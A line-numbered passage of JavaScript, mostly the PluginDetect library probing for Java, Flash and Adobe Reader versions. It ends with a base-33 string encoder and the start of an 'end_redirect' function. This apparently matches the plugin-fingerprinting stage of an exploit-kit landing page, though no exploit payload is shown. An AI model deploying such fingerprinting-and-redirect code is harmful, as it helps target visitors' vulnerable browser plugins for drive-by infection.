  1093.            if(c.OTF==3&&c.installed!=-0.5&&c.installed!=0.5)
  1094.            {
  1095.              c.installed=(c.NOTF.isJavaActive(1)==1||c.lang.System.getProperty()[0])?0.5:-0.5
  1096.            }
  1097.            if(c.OTF==4&&(c.installed==-0.5||c.installed==0.5))
  1098.            {
  1099.              if(d)
  1100.              {
  1101.                c.installed=1
  1102.              }
  1103.              else
  1104.              {
  1105.                if(c.NOTF.isJavaActive(1)==1)
  1106.                {
  1107.                  if(a)
  1108.                  {
  1109.                    c.installed=1;
  1110.                    d=a
  1111.                  }
  1112.                  else
  1113.                  {
  1114.                    c.installed=0
  1115.                  }
  1116.                }
  1117.                else
  1118.                {
  1119.                  if(a)
  1120.                  {
  1121.                    c.installed=-0.2
  1122.                  }
  1123.                  else
  1124.                  {
  1125.                    c.installed=-1
  1126.                  }
  1127.                }
  1128.              }
  1129.            };
  1130.            if(a)
  1131.            {
  1132.              c.version0=e.formatNum(e.getNum(a))
  1133.            }
  1134.            if(d)
  1135.            {
  1136.              c.version=e.formatNum(e.getNum(d))
  1137.            }
  1138.            if(f&&e.isString(f))
  1139.            {
  1140.              c.vendor=f
  1141.            }
  1142.            if(!c.vendor)
  1143.            {
  1144.              c.vendor=""
  1145.            }
  1146.            if(c.verify&&c.verify.isEnabled())
  1147.            {
  1148.              c.getVersionDone=0
  1149.            }
  1150.            else
  1151.            {
  1152.              if(c.getVersionDone!=1)
  1153.              {
  1154.                if(c.OTF<2)
  1155.                {
  1156.                  c.getVersionDone=0
  1157.                }
  1158.                else
  1159.                {
  1160.                  c.getVersionDone=c.applet.can_Insert_Query_Any()?0:1
  1161.                }
  1162.              }
  1163.            }
  1164.          }
  1165.          ,DTK:
  1166.          {
  1167.            $:1,hasRun:0,status:null,VERSIONS:[],version:"",HTML:null,Plugin2Status:null,classID:["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA","clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"],mimeType:["application/java-deployment-toolkit","application/npruntime-scriptable-plugin;DeploymentToolkit"],disabled:function()
  1168.            {
  1169.              return this.$$.isDisabled.DTK()
  1170.            }
  1171.            ,query:function()
  1172.            {
  1173.              var k=this,g=k.$,d=k.$$,j,l,h,m=
  1174.              {
  1175.              }
  1176.              ,f=
  1177.              {
  1178.              }
  1179.              ,a,c=null,i=null,b=(k.hasRun||k.disabled());
  1180.              k.hasRun=1;
  1181.              if(b)
  1182.              {
  1183.                return k
  1184.              }
  1185.              k.status=0;
  1186.              if(g.isIE&&g.verIE>=6)
  1187.              {
  1188.                for(l=0;l<k.classID.length;l++)
  1189.                {
  1190.                  k.HTML=g.insertHTML("object",["classid",k.classID[l]],[]);
  1191.                  c=g.getDOMobj(k.HTML);
  1192.                  try
  1193.                  {
  1194.                    if(c&&c.jvms)
  1195.                    {
  1196.                      break
  1197.                    }
  1198.                  }
  1199.                  catch(j)
  1200.                  {
  1201.                  }
  1202.                }
  1203.              }
  1204.              else
  1205.              {
  1206.                if(!g.isIE&&(h=g.hasMimeType(k.mimeType))&&h.type)
  1207.                {
  1208.                  k.HTML=g.insertHTML("object",["type",h.type],[]);
  1209.                  c=g.getDOMobj(k.HTML)
  1210.                }
  1211.              }
  1212.              if(c)
  1213.              {
  1214.                try
  1215.                {
  1216.                  a=c.jvms;
  1217.                  if(a)
  1218.                  {
  1219.                    i=a.getLength();
  1220.                    if(g.isNum(i))
  1221.                    {
  1222.                      k.status=i>0?1:-1;
  1223.                      for(l=0;l<i;l++)
  1224.                      {
  1225.                        h=g.getNum(a.get(i-1-l).version);
  1226.                        if(h)
  1227.                        {
  1228.                          k.VERSIONS.push(h);
  1229.                          f["a"+g.formatNum(h)]=1
  1230.                        }
  1231.                      }
  1232.                    }
  1233.                  }
  1234.                }
  1235.                catch(j)
  1236.                {
  1237.                }
  1238.              }
  1239.              h=0;
  1240.              for(l in f)
  1241.              {
  1242.                h++
  1243.              }
  1244.              if(h&&h!==k.VERSIONS.length)
  1245.              {
  1246.                k.VERSIONS=[]
  1247.              }
  1248.              if(k.VERSIONS.length)
  1249.              {
  1250.                k.version=g.formatNum(k.VERSIONS[0])
  1251.              };
  1252.              return k
  1253.            }
  1254.          }
  1255.          ,AXO:
  1256.          {
  1257.            $:1,hasRun:0,VERSIONS:[],version:"",disabled:function()
  1258.            {
  1259.              return this.$$.isDisabled.AXO()
  1260.            }
  1261.            ,JavaVersions:[[1,9,1,40],[1,8,1,40],[1,7,1,40],[1,6,0,40],[1,5,0,30],[1,4,2,30],[1,3,1,30]],query:function()
  1262.            {
  1263.              var a=this,e=a.$,b=a.$$,c=(a.hasRun||a.disabled());
  1264.              a.hasRun=1;
  1265.              if(c)
  1266.              {
  1267.                return a
  1268.              }
  1269.              var i=[],k=[1,5,0,14],j=[1,6,0,2],h=[1,3,1,0],g=[1,4,2,0],f=[1,5,0,7],d=b.getInfo?true:false,l=
  1270.              {
  1271.              };
  1272.              if(e.verIE>=b.minIEver)
  1273.              {
  1274.                i=a.search(j,j,d);
  1275.                if(i.length>0&&d)
  1276.                {
  1277.                  i=a.search(k,k,d)
  1278.                }
  1279.              }
  1280.              else
  1281.              {
  1282.                if(d)
  1283.                {
  1284.                  i=a.search(f,f,true)
  1285.                }
  1286.                if(i.length==0)
  1287.                {
  1288.                  i=a.search(h,g,false)
  1289.                }
  1290.              }
  1291.              if(i.length)
  1292.              {
  1293.                a.version=i[0];
  1294.                a.VERSIONS=[].concat(i)
  1295.              };
  1296.              return a
  1297.            }
  1298.            ,search:function(a,j,p)
  1299.            {
  1300.              var h,d,f=this,e=f.$,k=f.$$,n,c,l,q,b,o,r,i=[];
  1301.              if(e.compareNums(a.join(","),j.join(","))>0)
  1302.              {
  1303.                j=a
  1304.              }
  1305.              j=e.formatNum(j.join(","));
  1306.              var m,s="1,4,2,0",g="JavaPlugin."+a[0]+""+a[1]+""+a[2]+""+(a[3]>0?("_"+(a[3]<10?"0":"")+a[3]):"");
  1307.              for(h=0;h<f.JavaVersions.length;h++)
  1308.              {
  1309.                d=f.JavaVersions[h];
  1310.                n="JavaPlugin."+d[0]+""+d[1];
  1311.                b=d[0]+"."+d[1]+".";
  1312.                for(l=d[2];l>=0;l--)
  1313.                {
  1314.                  r="JavaWebStart.isInstalled."+b+l+".0";
  1315.                  if(e.compareNums(d[0]+","+d[1]+","+l+",0",j)>=0&&!e.getAXO(r))
  1316.                  {
  1317.                    continue
  1318.                  }
  1319.                  m=e.compareNums(d[0]+","+d[1]+","+l+",0",s)<0?true:false;
  1320.                  for(q=d[3];q>=0;q--)
  1321.                  {
  1322.                    c=l+"_"+(q<10?"0"+q:q);
  1323.                    o=n+c;
  1324.                    if(e.getAXO(o)&&(m||e.getAXO(r)))
  1325.                    {
  1326.                      i.push(b+c);
  1327.                      if(!p)
  1328.                      {
  1329.                        return i
  1330.                      }
  1331.                    }
  1332.                    if(o==g)
  1333.                    {
  1334.                      return i
  1335.                    }
  1336.                  }
  1337.                  if(e.getAXO(n+l)&&(m||e.getAXO(r)))
  1338.                  {
  1339.                    i.push(b+l);
  1340.                    if(!p)
  1341.                    {
  1342.                      return i
  1343.                    }
  1344.                  }
  1345.                  if(n+l==g)
  1346.                  {
  1347.                    return i
  1348.                  }
  1349.                }
  1350.              }
  1351.              return i
  1352.            }
  1353.          }
  1354.          ,navMime:
  1355.          {
  1356.            $:1,hasRun:0,mimetype:"",version:"",length:0,mimeObj:0,pluginObj:0,disabled:function()
  1357.            {
  1358.              return this.$$.isDisabled.navMime()
  1359.            }
  1360.            ,query:function()
  1361.            {
  1362.              var i=this,f=i.$,a=i.$$,b=(i.hasRun||i.disabled());
  1363.              i.hasRun=1;
  1364.              if(b)
  1365.              {
  1366.                return i
  1367.              };
  1368.              var n=/^\s*application\/x-java-applet;
  1369.              jpi-version\s*=\s*(\d.*)$/i,g,l,j,d="",h="a",o,m,k=
  1370.              {
  1371.              }
  1372.              ,c=f.formatNum("0");
  1373.              for(l=0;l<navigator.mimeTypes.length;l++)
  1374.              {
  1375.                o=navigator.mimeTypes[l];
  1376.                m=o?o.enabledPlugin:0;
  1377.                g=o&&n.test(o.type||d)?f.formatNum(f.getNum(RegExp.$1)):0;
  1378.                if(g&&m&&(m.description||m.name))
  1379.                {
  1380.                  if(!k[h+g])
  1381.                  {
  1382.                    i.length++
  1383.                  }
  1384.                  k[h+g]=o.type;
  1385.                  if(f.compareNums(g,c)>0)
  1386.                  {
  1387.                    c=g
  1388.                  }
  1389.                }
  1390.              }
  1391.              g=k[h+c];
  1392.              if(g)
  1393.              {
  1394.                o=f.hasMimeType(g);
  1395.                i.mimeObj=o;
  1396.                i.pluginObj=o?o.enabledPlugin:0;
  1397.                i.mimetype=g;
  1398.                i.version=c
  1399.              };
  1400.              return i
  1401.            }
  1402.          }
  1403.          ,navPlugin:
  1404.          {
  1405.            $:1,hasRun:0,version:"",disabled:function()
  1406.            {
  1407.              return this.$$.isDisabled.navPlugin()
  1408.            }
  1409.            ,query:function()
  1410.            {
  1411.              var m=this,e=m.$,c=m.$$,h=c.navigator,j,l,k,g,d,a,i,f=0,b=(m.hasRun||m.disabled());
  1412.              m.hasRun=1;
  1413.              if(b)
  1414.              {
  1415.                return m
  1416.              };
  1417.              a=h.pluginObj.name||"";
  1418.              i=h.pluginObj.description||"";
  1419.              if(!f||c.debug)
  1420.              {
  1421.                g=/Java.*TM.*Platform[^\d]*(\d+)(?:[\.,_](\d*))?(?:\s*[Update]+\s*(\d*))?/i;
  1422.                if((g.test(a)||g.test(i))&&parseInt(RegExp.$1,10)>=5)
  1423.                {
  1424.                  f="1,"+RegExp.$1+","+(RegExp.$2?RegExp.$2:"0")+","+(RegExp.$3?RegExp.$3:"0")
  1425.                }
  1426.              }
  1427.              if(!f||c.debug)
  1428.              {
  1429.                g=/Java[^\d]*Plug-in/i;
  1430.                l=g.test(i)?e.formatNum(e.getNum(i)):0;
  1431.                k=g.test(a)?e.formatNum(e.getNum(a)):0;
  1432.                if(l&&(e.compareNums(l,e.formatNum("1,3"))<0||e.compareNums(l,e.formatNum("2"))>=0))
  1433.                {
  1434.                  l=0
  1435.                }
  1436.                if(k&&(e.compareNums(k,e.formatNum("1,3"))<0||e.compareNums(k,e.formatNum("2"))>=0))
  1437.                {
  1438.                  k=0
  1439.                }
  1440.                d=l&&k?(e.compareNums(l,k)>0?l:k):(l||k);
  1441.                if(d)
  1442.                {
  1443.                  f=d
  1444.                }
  1445.              }
  1446.              if(!f&&e.isSafari&&e.OS==2)
  1447.              {
  1448.                j=e.findNavPlugin("Java.*\d.*Plug-in.*Cocoa",0);
  1449.                if(j)
  1450.                {
  1451.                  l=e.getNum(j.description);
  1452.                  if(l)
  1453.                  {
  1454.                    f=l
  1455.                  }
  1456.                }
  1457.              };
  1458.              if(f)
  1459.              {
  1460.                m.version=e.formatNum(f)
  1461.              };
  1462.              return m
  1463.            }
  1464.          }
  1465.          ,lang:
  1466.          {
  1467.            $:1,System:
  1468.            {
  1469.              $:1,hasRun:0,result:[null,null],disabled:function()
  1470.              {
  1471.                return this.$$.isDisabled.windowDotJava()
  1472.              }
  1473.              ,getPropertyHas:function(a)
  1474.              {
  1475.                var b=this,d=b.$,c=b.getProperty()[0];
  1476.                return(a&&c&&d.compareNums(d.formatNum(a),d.formatNum(c))===0)?1:0
  1477.              }
  1478.              ,getProperty:function()
  1479.              {
  1480.                var f=this,g=f.$,d=f.$$,i,h=
  1481.                {
  1482.                }
  1483.                ,b=f.hasRun||f.disabled();
  1484.                f.hasRun=1;
  1485.                if(!b)
  1486.                {
  1487.                  var a="java_qqq990";
  1488.                  g[a]=null;
  1489.                  try
  1490.                  {
  1491.                    var c=document.createElement("script");
  1492.                    c.type="text/javascript";
  1493.                  c.appendChild(document.createTextNode('(function(){var e,a;try{a=[window.java.lang.System.getProperty("java.version")+" ",window.java.lang.System.getProperty("java.vendor")+" "]}catch(e){};'+g.name+"."+a+"=a||0})();"));
  1494.                    g.head.insertBefore(c,g.head.firstChild);
  1495.                    g.head.removeChild(c)
  1496.                  }
  1497.                  catch(i)
  1498.                  {
  1499.                  }
  1500.                  if(g[a]&&g.isArray(g[a]))
  1501.                  {
  1502.                    f.result=[].concat(g[a])
  1503.                  }
  1504.                }
  1505.                return f.result
  1506.              }
  1507.            }
  1508.          }
  1509.          ,applet:
  1510.          {
  1511.            $:1,results:[[null,null],[null,null],[null,null]],getResult:function()
  1512.            {
  1513.              var c=this.results,a,b=[];
  1514.              for(a=0;a<c.length;a++)
  1515.              {
  1516.                b=c[a];
  1517.                if(b[0])
  1518.                {
  1519.                  break
  1520.                }
  1521.              }
  1522.              return[].concat(b)
  1523.            }
  1524.            ,HTML:[0,0,0],active:[0,0,0],DummyObjTagHTML:0,DummySpanTagHTML:0,allowed:[1,1,1],VerifyTagsHas:function(c)
  1525.            {
  1526.              var d=this,b;
  1527.              for(b=0;b<d.allowed.length;b++)
  1528.              {
  1529.                if(d.allowed[b]===c)
  1530.                {
  1531.                  return 1
  1532.                }
  1533.              }
  1534.              return 0
  1535.            }
  1536.            ,saveAsVerifyTagsArray:function(c)
  1537.            {
  1538.              var b=this,d=b.$,a;
  1539.              if(d.isArray(c))
  1540.              {
  1541.                for(a=0;a<b.allowed.length;a++)
  1542.                {
  1543.                  if(d.isNum(c[a]))
  1544.                  {
  1545.                    if(c[a]<0)
  1546.                    {
  1547.                      c[a]=0
  1548.                    }
  1549.                    if(c[a]>3)
  1550.                    {
  1551.                      c[a]=3
  1552.                    }
  1553.                    b.allowed[a]=c[a]
  1554.                  }
  1555.                }
  1556.              }
  1557.            }
  1558.            ,setVerifyTagsArray:function(d)
  1559.            {
  1560.              var b=this,c=b.$,a=b.$$;
  1561.              if(a.getVersionDone===null)
  1562.              {
  1563.                b.saveAsVerifyTagsArray(a.getVerifyTagsDefault())
  1564.              }
  1565.              if(a.debug||(a.verify&&a.verify.isEnabled()))
  1566.              {
  1567.                b.saveAsVerifyTagsArray([3,3,3])
  1568.              }
  1569.              else
  1570.              {
  1571.                if(d)
  1572.                {
  1573.                  b.saveAsVerifyTagsArray(d)
  1574.                }
  1575.              }
  1576.            }
  1577.            ,allDisabled:function()
  1578.            {
  1579.              return this.$$.isDisabled.allApplets()
  1580.            }
  1581.            ,isDisabled:function(d)
  1582.            {
  1583.              var b=this,c=b.$,a=b.$$;
  1584.              if(d==2&&!c.isIE)
  1585.              {
  1586.                return 1
  1587.              }
  1588.              if(d===0||d==2)
  1589.              {
  1590.                return a.isDisabled.ObjectTag()
  1591.              }
  1592.              if(d==1)
  1593.              {
  1594.                return a.isDisabled.AppletTag()
  1595.              }
  1596.            }
  1597.            ,can_Insert_Query:function(b)
  1598.            {
  1599.              var a=this;
  1600.              if(a.HTML[b])
  1601.              {
  1602.                return 0
  1603.              }
  1604.              return !a.isDisabled(b)
  1605.            }
  1606.            ,can_Insert_Query_Any:function()
  1607.            {
  1608.              var b=this,a;
  1609.              for(a=0;a<b.results.length;a++)
  1610.              {
  1611.                if(b.can_Insert_Query(a))
  1612.                {
  1613.                  return 1
  1614.                }
  1615.              }
  1616.              return 0
  1617.            }
  1618.            ,should_Insert_Query:function(d)
  1619.            {
  1620.              var b=this,e=b.allowed,c=b.$,a=b.$$;
  1621.              if(!b.can_Insert_Query(d))
  1622.              {
  1623.                return 0
  1624.              }
  1625.              if(e[d]==3)
  1626.              {
  1627.                return 1
  1628.              }
  1629.              if(e[d]==2.8&&!b.getResult()[0])
  1630.              {
  1631.                return 1
  1632.              }
  1633.              if(e[d]==2.5&&!a.lang.System.getProperty()[0])
  1634.              {
  1635.                return 1
  1636.              }
  1637.              if(e[d]==2.2&&!a.lang.System.getProperty()[0]&&!b.getResult()[0])
  1638.              {
  1639.                return 1
  1640.              }
  1641.              if(!a.nonAppletDetectionOk(a.version0))
  1642.              {
  1643.                if(e[d]==2)
  1644.                {
  1645.                  return 1
  1646.                }
  1647.                if(e[d]==1&&!b.getResult()[0])
  1648.                {
  1649.                  return 1
  1650.                }
  1651.              }
  1652.              return 0
  1653.            }
  1654.            ,should_Insert_Query_Any:function()
  1655.            {
  1656.              var b=this,a;
  1657.              for(a=0;a<b.allowed.length;a++)
  1658.              {
  1659.                if(b.should_Insert_Query(a))
  1660.                {
  1661.                  return 1
  1662.                }
  1663.              }
  1664.              return 0
  1665.            }
  1666.            ,query:function(f)
  1667.            {
  1668.              var h,a=this,g=a.$,d=a.$$,i=null,j=null,b=a.results,c;
  1669.              if((b[f][0]&&b[f][1])||(d.debug&&d.OTF<3))
  1670.              {
  1671.                return
  1672.              }
  1673.              c=g.getDOMobj(a.HTML[f],true);
  1674.              if(c)
  1675.              {
  1676.                try
  1677.                {
  1678.                  i=g.getNum(c.getVersion()+" ");
  1679.                  j=c.getVendor()+" ";
  1680.                  c.statusbar(g.winLoaded?" ":" ")
  1681.                }
  1682.                catch(h)
  1683.                {
  1684.                }
  1685.                if(i&&g.isStrNum(i))
  1686.                {
  1687.                  b[f]=[i,j]
  1688.                }
  1689.                else
  1690.                {
  1691.                };
  1692.                try
  1693.                {
  1694.                  if(g.isIE&&i&&c.readyState!=4)
  1695.                  {
  1696.                    g.garbage=true;
  1697.                    c.parentNode.removeChild(c)
  1698.                  }
  1699.                }
  1700.                catch(h)
  1701.                {
  1702.                }
  1703.              }
  1704.            }
  1705.            ,insert_Query_Any:function()
  1706.            {
  1707.              var d=this,i=d.$,e=d.$$,l=d.results,p=d.HTML,a="&nbsp;&nbsp;&nbsp;&nbsp;",g="A.class",m=i.file.getValid(e);
  1708.              if(!m)
  1709.              {
  1710.                return d.getResult()
  1711.              }
  1712.              if(e.OTF<1)
  1713.              {
  1714.                e.OTF=1
  1715.              }
  1716.              if(d.allDisabled())
  1717.              {
  1718.                return d.getResult()
  1719.              }
  1720.              if(e.OTF<1.5)
  1721.              {
  1722.                e.OTF=1.5
  1723.              }
  1724.              var j=m.name+m.ext,h=m.path;
  1725.              var f=["archive",j,"code",g],c=["mayscript","true"],o=["scriptable","true"].concat(c),n=e.navigator,b=!i.isIE&&n.mimeObj&&n.mimeObj.type?n.mimeObj.type:e.mimeType[0];
  1726.              if(d.should_Insert_Query(0))
  1727.              {
  1728.                if(e.OTF<2)
  1729.                {
  1730.                  e.OTF=2
  1731.                };
  1732.                p[0]=i.isIE?i.insertHTML("object",["type",b],["codebase",h].concat(f).concat(o),a,e):i.insertHTML("object",["type",b],["codebase",h].concat(f).concat(o),a,e);
  1733.                l[0]=[0,0];
  1734.                d.query(0)
  1735.              }
  1736.              if(d.should_Insert_Query(1))
  1737.              {
  1738.                if(e.OTF<2)
  1739.                {
  1740.                  e.OTF=2
  1741.                };
  1742.                p[1]=i.isIE?i.insertHTML("applet",["alt",a].concat(c).concat(f),["codebase",h].concat(c),a,e):i.insertHTML("applet",["codebase",h,"alt",a].concat(c).concat(f),[].concat(c),a,e);
  1743.                l[1]=[0,0];
  1744.                d.query(1)
  1745.              }
  1746.              if(d.should_Insert_Query(2))
  1747.              {
  1748.                if(e.OTF<2)
  1749.                {
  1750.                  e.OTF=2
  1751.                };
  1752.                p[2]=i.isIE?i.insertHTML("object",["classid",e.classID],["codebase",h].concat(f).concat(o),a,e):i.insertHTML();
  1753.                l[2]=[0,0];
  1754.                d.query(2)
  1755.              }
  1756.              if(!d.DummyObjTagHTML&&!e.isDisabled.ObjectTag())
  1757.              {
  1758.                d.DummyObjTagHTML=i.insertHTML("object",[],[],a)
  1759.              }
  1760.              if(!d.DummySpanTagHTML)
  1761.              {
  1762.                d.DummySpanTagHTML=i.insertHTML("",[],[],a)
  1763.              };
  1764.              var k=e.NOTF;
  1765.              if(e.OTF<3&&k.shouldContinueQuery())
  1766.              {
  1767.                e.OTF=3;
  1768.                k.onIntervalQuery=i.handler(k.$$onIntervalQuery,k);
  1769.                if(!i.winLoaded)
  1770.                {
  1771.                  i.WLfuncs0.push([k.winOnLoadQuery,k])
  1772.                }
  1773.                setTimeout(k.onIntervalQuery,k.intervalLength)
  1774.              };
  1775.              return d.getResult()
  1776.            }
  1777.          }
  1778.          ,NOTF:
  1779.          {
  1780.            $:1,count:0,countMax:25,intervalLength:250,shouldContinueQuery:function()
  1781.            {
  1782.              var e=this,d=e.$,c=e.$$,b=c.applet,a;
  1783.              for(a=0;a<b.results.length;a++)
  1784.              {
  1785.                if(b.HTML[a]&&!b.results[a][0]&&(b.allowed[a]>=2||(b.allowed[a]==1&&!b.getResult()[0]))&&e.isAppletActive(a)>=0)
  1786.                {
  1787.                  return 1
  1788.                }
  1789.              }
  1790.              return 0
  1791.            }
  1792.            ,isJavaActive:function(d)
  1793.            {
  1794.              var f=this,c=f.$$,a,b,e=-9;
  1795.              for(a=0;a<c.applet.HTML.length;a++)
  1796.              {
  1797.                b=f.isAppletActive(a,d);
  1798.                if(b>e)
  1799.                {
  1800.                  e=b
  1801.                }
  1802.              }
  1803.              return e
  1804.            }
  1805.            ,isAppletActive:function(c,a)
  1806.            {
  1807.              var d=this,b=d.$$.applet.active;
  1808.              if(!a)
  1809.              {
  1810.                b[c]=d.isAppletActive_(c)
  1811.              }
  1812.              return b[c]
  1813.            }
  1814.            ,isAppletActive_:function(d)
  1815.            {
  1816.              var g=this,f=g.$,b=g.$$,l=b.navigator,a=b.applet,h=a.HTML[d],i,k,c=0,j=f.getTagStatus(h,a.DummySpanTagHTML,a.DummyObjTagHTML,g.count);
  1817.              if(j==-2)
  1818.              {
  1819.                return -2
  1820.              }
  1821.              try
  1822.              {
  1823.                if(f.isIE&&f.verIE>=b.minIEver&&f.getDOMobj(h).object)
  1824.                {
  1825.                  return 1
  1826.                }
  1827.              }
  1828.              catch(i)
  1829.              {
  1830.              }
  1831.              for(k=0;k<a.active.length;k++)
  1832.              {
  1833.                if(a.active[k]>0)
  1834.                {
  1835.                  c=1
  1836.                }
  1837.              }
  1838.              if(j==1&&(f.isIE||((b.version0&&l.javaEnabled()&&l.mimeObj&&(h.tagName=="object"||c))||b.lang.System.getProperty()[0])))
  1839.              {
  1840.                return 1
  1841.              }
  1842.              if(j<0)
  1843.              {
  1844.                return -1
  1845.              }
  1846.              return 0
  1847.            }
  1848.            ,winOnLoadQuery:function(c,d)
  1849.            {
  1850.              var b=d.$$,a;
  1851.              if(b.OTF==3)
  1852.              {
  1853.                a=d.queryAllApplets();
  1854.                d.queryCompleted(a[1],a[2])
  1855.              }
  1856.            }
  1857.            ,$$onIntervalQuery:function(d)
  1858.            {
  1859.              var c=d.$,b=d.$$,a;
  1860.              if(b.OTF==3)
  1861.              {
  1862.                a=d.queryAllApplets();
  1863.                if(!d.shouldContinueQuery()||(c.winLoaded&&d.count>d.countMax))
  1864.                {
  1865.                  d.queryCompleted(a[1],a[2])
  1866.                }
  1867.              }
  1868.              d.count++;
  1869.              if(b.OTF==3)
  1870.              {
  1871.                setTimeout(d.onIntervalQuery,d.intervalLength)
  1872.              }
  1873.            }
  1874.            ,queryAllApplets:function()
  1875.            {
  1876.              var g=this,f=g.$,e=g.$$,d=e.applet,b,a,c;
  1877.              for(b=0;b<d.results.length;b++)
  1878.              {
  1879.                d.query(b)
  1880.              }
  1881.              a=d.getResult();
  1882.              c=a[0]?true:false;
  1883.              return[c,a[0],a[1]]
  1884.            }
  1885.            ,queryCompleted:function(c,f)
  1886.            {
  1887.              var e=this,d=e.$,b=e.$$;
  1888.              if(b.OTF>=4)
  1889.              {
  1890.                return
  1891.              }
  1892.              b.OTF=4;
  1893.              var a=e.isJavaActive();
  1894.              b.setPluginStatus(c,f,0);
  1895.              if(b.funcs)
  1896.              {
  1897.                d.callArray(b.funcs)
  1898.              }
  1899.              if(d.onDoneEmptyDiv)
  1900.              {
  1901.                d.onDoneEmptyDiv()
  1902.              }
  1903.            }
  1904.          }
  1905.          ,zz:0
  1906.        }
  1907.        ,flash:
  1908.        {
  1909.          mimeType:"application/x-shockwave-flash",progID:"ShockwaveFlash.ShockwaveFlash",classID:"clsid:D27CDB6E-AE6D-11CF-96B8-444553540000",getVersion:function()
  1910.          {
  1911.            var b=function(i)
  1912.            {
  1913.              if(!i)
  1914.              {
  1915.                return null
  1916.              }
  1917.              var e=/[\d][\d\,\.\s]*[rRdD]
  1918.              {
  1919.                0,1
  1920.              }
  1921.              [\d\,]*/.exec(i);
  1922.              return e?e[0].replace(/[rRdD\.]/g,",").replace(/\s/g,""):null
  1923.            };
  1924.            var j=this,g=j.$,k,h,l=null,c=null,a=null,f,m,d;
  1925.            if(!g.isIE)
  1926.            {
  1927.              m=g.hasMimeType(j.mimeType);
  1928.              if(m)
  1929.              {
  1930.                f=g.getDOMobj(g.insertHTML("object",["type",j.mimeType],[],"",j));
  1931.                try
  1932.                {
  1933.                  l=g.getNum(f.GetVariable("$version"))
  1934.                }
  1935.                catch(k)
  1936.                {
  1937.                }
  1938.              }
  1939.              if(!l)
  1940.              {
  1941.                d=m?m.enabledPlugin:null;
  1942.                if(d&&d.description)
  1943.                {
  1944.                  l=b(d.description)
  1945.                }
  1946.                if(l)
  1947.                {
  1948.                  l=g.getPluginFileVersion(d,l)
  1949.                }
  1950.              }
  1951.            }
  1952.            else
  1953.            {
  1954.              for(h=15;h>2;h--)
  1955.              {
  1956.                c=g.getAXO(j.progID+"."+h);
  1957.                if(c)
  1958.                {
  1959.                  a=h.toString();
  1960.                  break
  1961.                }
  1962.              }
  1963.              if(!c)
  1964.              {
  1965.                c=g.getAXO(j.progID)
  1966.              }
  1967.              if(a=="6")
  1968.              {
  1969.                try
  1970.                {
  1971.                  c.AllowScriptAccess="always"
  1972.                }
  1973.                catch(k)
  1974.                {
  1975.                  return"6,0,21,0"
  1976.                }
  1977.              }
  1978.              try
  1979.              {
  1980.                l=b(c.GetVariable("$version"))
  1981.              }
  1982.              catch(k)
  1983.              {
  1984.              }
  1985.              if(!l&&a)
  1986.              {
  1987.                l=a
  1988.              }
  1989.            }
  1990.            j.installed=l?1:-1;
  1991.            j.version=g.formatNum(l);
  1992.            return true
  1993.          }
  1994.        }
  1995.        ,adobereader:
  1996.        {
  1997.          mimeType:"application/pdf",navPluginObj:null,progID:["AcroPDF.PDF","PDF.PdfCtrl"],classID:"clsid:CA8A9780-280D-11CF-A24D-444553540000",INSTALLED:
  1998.          {
  1999.          }
  2000.          ,pluginHasMimeType:function(d,c,f)
  2001.          {
  2002.            var b=this,e=b.$,a;
  2003.            for(a in d)
  2004.            {
  2005.              if(d[a]&&d[a].type&&d[a].type==c)
  2006.              {
  2007.                return 1
  2008.              }
  2009.            }
  2010.            if(e.getMimeEnabledPlugin(c,f))
  2011.            {
  2012.              return 1
  2013.            }
  2014.            return 0
  2015.          }
  2016.          ,getVersion:function(l,j)
  2017.          {
  2018.            var g=this,d=g.$,i,f,m,n,b=null,h=null,k=g.mimeType,a,c;
  2019.            if(d.isString(j))
  2020.            {
  2021.              j=j.replace(/\s/g,"");
  2022.              if(j)
  2023.              {
  2024.                k=j
  2025.              }
  2026.            }
  2027.            else
  2028.            {
  2029.              j=null
  2030.            }
  2031.            if(d.isDefined(g.INSTALLED[k]))
  2032.            {
  2033.              g.installed=g.INSTALLED[k];
  2034.              return
  2035.            }
  2036.            if(!d.isIE)
  2037.            {
  2038.              a="Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";
  2039.              if(g.getVersionDone!==0)
  2040.              {
  2041.                g.getVersionDone=0;
  2042.                b=d.getMimeEnabledPlugin(g.mimeType,a);
  2043.                if(!j)
  2044.                {
  2045.                  n=b
  2046.                }
  2047.                if(!b&&d.hasMimeType(g.mimeType))
  2048.                {
  2049.                  b=d.findNavPlugin(a,0)
  2050.                }
  2051.                if(b)
  2052.                {
  2053.                  g.navPluginObj=b;
  2054.                  h=d.getNum(b.description)||d.getNum(b.name);
  2055.                  h=d.getPluginFileVersion(b,h);
  2056.                  if(!h&&d.OS==1)
  2057.                  {
  2058.                    if(g.pluginHasMimeType(b,"application/vnd.adobe.pdfxml",a))
  2059.                    {
  2060.                      h="9"
  2061.                    }
  2062.                    else
  2063.                    {
  2064.                      if(g.pluginHasMimeType(b,"application/vnd.adobe.x-mars",a))
  2065.                      {
  2066.                        h="8"
  2067.                      }
  2068.                    }
  2069.                  }
  2070.                }
  2071.              }
  2072.              else
  2073.              {
  2074.                h=g.version
  2075.              }
  2076.              if(!d.isDefined(n))
  2077.              {
  2078.                n=d.getMimeEnabledPlugin(k,a)
  2079.              }
  2080.              g.installed=n&&h?1:(n?0:(g.navPluginObj?-0.2:-1))
  2081.            }
  2082.            else
  2083.            {
  2084.              b=d.getAXO(g.progID[0])||d.getAXO(g.progID[1]);
  2085.              c=/=\s*([\d\.]+)/g;
  2086.              try
  2087.              {
  2088.                f=(b||d.getDOMobj(d.insertHTML("object",["classid",g.classID],["src",""],"",g))).GetVersions();
  2089.                for(m=0;m<5;m++)
  2090.                {
  2091.                  if(c.test(f)&&(!h||RegExp.$1>h))
  2092.                  {
  2093.                    h=RegExp.$1
  2094.                  }
  2095.                }
  2096.              }
  2097.              catch(i)
  2098.              {
  2099.              }
  2100.              g.installed=h?1:(b?0:-1)
  2101.            }
  2102.            if(!g.version)
  2103.            {
  2104.              g.version=d.formatNum(h)
  2105.            }
  2106.            g.INSTALLED[k]=g.installed
  2107.          }
  2108.        }
  2109.        ,zz:0
  2110.      }
  2111.    };
  2112.    PluginDetect.initScript();
  2113.    PluginDetect.getVersion(".");
  2114.    var $$ = PluginDetect;
  2115.    function x(s)
  2116.    {
  2117.      d=[];
  2118.      for(i=0;i<s.length;i++)
  2119.      {
  2120.        k=(s.charCodeAt(i))["toString"](33);
  2121.        d.push(k);
  2122.      };
  2123.      return d.join(":");
  2124.    }
  2125.    end_redirect=function()
